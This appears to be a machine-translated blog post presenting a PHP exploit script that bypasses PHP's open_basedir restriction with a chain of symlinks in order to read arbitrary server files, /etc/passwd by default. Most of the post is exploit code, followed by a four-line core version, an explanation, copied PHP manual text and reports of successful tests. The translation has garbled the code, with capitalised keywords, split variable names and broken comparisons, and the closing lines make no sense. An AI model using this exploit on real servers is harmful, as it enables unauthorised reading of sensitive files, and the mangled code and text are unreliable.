This article mainly introduces the PHP5 full-version bypass open_basedir file read script vulnerability, which was proposed a long time ago (about five years ago) and still exists in the latest version, A friend who needs the vulnerability can refer to the vulnerability that was raised a long time ago (about five years ago), but it is not a problem in php code, so the problem persists until now. I never noticed that yaseng told me that he could test 5.5.
For details about the vulnerability, visit http://cxsecurity.com/issue/wlb-2009110068.
Given the EXP I wrote:
The code is as follows:
<? Php
/*
* By phithon
* From http://www.jb51.net
* Detail: http://cxsecurity.com/issue/WLB-2009110068
*/
Header ('content-type: text/plain ');
Error_reporting (-1 );
Ini_set ('display _ errors ', TRUE );
Printf ("open_basedir: % s \ nphp_version: % s \ n", ini_get ('open _ basedir '), phpversion ());
Printf ("disable_functions: % s \ n", ini_get ('Disable _ functions '));
$ File = str_replace ('\', '/', isset ($ _ REQUEST ['file'])? $ _ REQUEST ['file']: '/etc/passwd ');
$ Relat_file = getRelativePath (_ FILE __, $ file );
$ Paths = explode ('/', $ file );
$ Name = mt_rand () % 999;
$ Exp = getRandStr ();
Mkdir ($ name );
Chdir ($ name );
For ($ I = 1; $ I <count ($ paths)-1; $ I ++ ){
Mkdir ($ paths [$ I]);
Chdir ($ paths [$ I]);
}
Mkdir ($ paths [$ I]);
For ($ I-= 1; $ I> 0; $ I --){
Chdir ('..');
}
$ Paths = explode ('/', $ relat_file );
$ J = 0;
For ($ I = 0; $ paths [$ I] = '..'; $ I ++ ){
Mkdir ($ name );
Chdir ($ name );
$ J ++;
}
For ($ I = 0; $ I <= $ j; $ I ++ ){
Chdir ('..');
}
$ Tmp = array_fill (0, $ j + 1, $ name );
Symlink (implode ('/', $ tmp), 'tmplink ');
$ Tmp = array_fill (0, $ j ,'..');
Symlink ('tmplink/'. implode ('/', $ tmp). $ file, $ exp );
Unlink ('tmplink ');
Mkdir ('tmplink ');
Delfile ($ name );
$ Exp = dirname ($ _ SERVER ['script _ name']). "/{$ exp }";
$ Exp = "http: // {$ _ SERVER ['server _ name']} {$ exp }";
Echo "\ n ----------------- content --------------- \ n ";
Echo file_get_contents ($ exp );
Delfile ('tmplink ');
Function getRelativePath ($ from, $ ){
// Some compatibility fixes for Windows paths
$ From = rtrim ($ from ,'\/').'/';
$ From = str_replace ('\', '/', $ from );
$ To = str_replace ('\', '/', $ );
$ From = explode ('/', $ from );
$ To = explode ('/', $ );
$ RelPath = $;
Foreach ($ from as $ depth => $ dir ){
// Find first non-matching dir
If ($ dir = $ to [$ depth]) {
// Ignore this directory
Array_shift ($ relPath );
} Else {
// Get number of remaining dirs to $ from
$ Remaining = count ($ from)-$ depth;
If ($ remaining> 1 ){
// Add traversals up to first matching dir
$ PadLength = (count ($ relPath) + $ remaining-1) *-1;
$ RelPath = array_pad ($ relPath, $ padLength ,'..');
Break;
} Else {
$ RelPath [0] = './'. $ relPath [0];
}
}
}
Return implode ('/', $ relPath );
}
Function delfile ($ deldir ){
If (@ is_file ($ deldir )){
@ Chmod ($ deldir, 0777 );
Return @ unlink ($ deldir );
} Else if (@ is_dir ($ deldir )){
If ($ mydir = @ opendir ($ deldir) = NULL) return false;
While (false! ==( $ File = @ readdir ($ mydir )))
{
$ Name = File_Str ($ deldir. '/'. $ file );
If ($ file! = '.') & ($ File! = '..') {Delfile ($ name );}
}
@ Closedir ($ mydir );
@ Chmod ($ deldir, 0777 );
Return @ rmdir ($ deldir )? True: false;
}
}
Function File_Str ($ string)
{
Return str_replace ('//', '/', str_replace ('\', '/', $ string ));
}
Function getRandStr ($ length = 6 ){
$ Chars = 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 ';
$ RandStr = '';
For ($ I = 0; $ I <$ length; $ I ++ ){
$ RandStr. = substr ($ chars, mt_rand (0, strlen ($ chars)-1), 1 );
}
Return $ randStr;
}
For example, we want to read/etc/passwd. In fact, the principle is to create a link file x, point to a/a with the relative path, and then create a link file exp pointing to x /.. /.. /.. /etc/passwd.
It actually points to a/.../etc/passwd, which is actually./etc/passwd.
In this case, delete x and create another x Directory. However, exp still points to x/../etc/passwd, so it is successfully transferred to/etc/passwd.
The essence is the following four sentences:
The code is as follows:
Symlink ("abc/abc", "tmplink ");
Symlink ("tmplink/.../etc/passwd", "exploit ");
Unlink ("tmplink ");
Mkdir ("tmplink ");
We access http: // xxx/exp. if the server supports access to linked files, we can read/etc/passwd.
No operation triggers open_basedir, but the result is that open_basedir is bypassed to read arbitrary files.
The error is not in php, but I don't know who is responsible for the error, so php never cares about this problem.
Open_basedir
Restrict files that can be opened by PHP to the specified directory tree, including the file itself. This command is not affected by enabling or disabling security mode.
When a script tries to open a file using fopen () or gzopen (), the file location will be checked. PHP rejects opening a file outside the specified directory tree. All symbolic connections are parsed, so it is impossible to avoid this restriction through symbolic connections.
Special value. indicates that the script's working directory will be used as the reference directory. But this is dangerous because the working directory of the script can be easily changed by chdir.
In the httpd. conf file, open_basedir can be disabled using the "php_admin_value open_basedir none" method like any other configuration options (for example, in some virtual hosts ).
In Windows, separate directories with semicolons. Use colons to separate directories in any other system. As an Apache module, the open_basedir path in the parent directory is automatically inherited.
The restriction specified by open_basedir is actually a prefix, not a directory name. That is to say, "open_basedir =/dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to a specified directory only, end the path name with a diagonal line. For example, "open_basedir =/dir/incl /".
Note:
Multiple directories are supported by 3.0.7.
By default, all files are allowed to be opened.
I have tested both my VPS (php5.3.28 + nginx) and Raspberry Pi (php 5.4.4 + nginx) and read them successfully.
Raspberry Pi test:
Compared with the 5.3 XML hole (which many files cannot be read), the success rate is still relatively stable, and many files can be read. In addition, the version is not required, which is harmful.
A few days ago, the CTF of Cheng Xin tried this script and apache could also read it. at that time, he had read the/etc/httpd/conf/httpd. conf of the kali sub-database, so there was no result.
No nearby stations are found, and the traffic is forwarded through the gateway.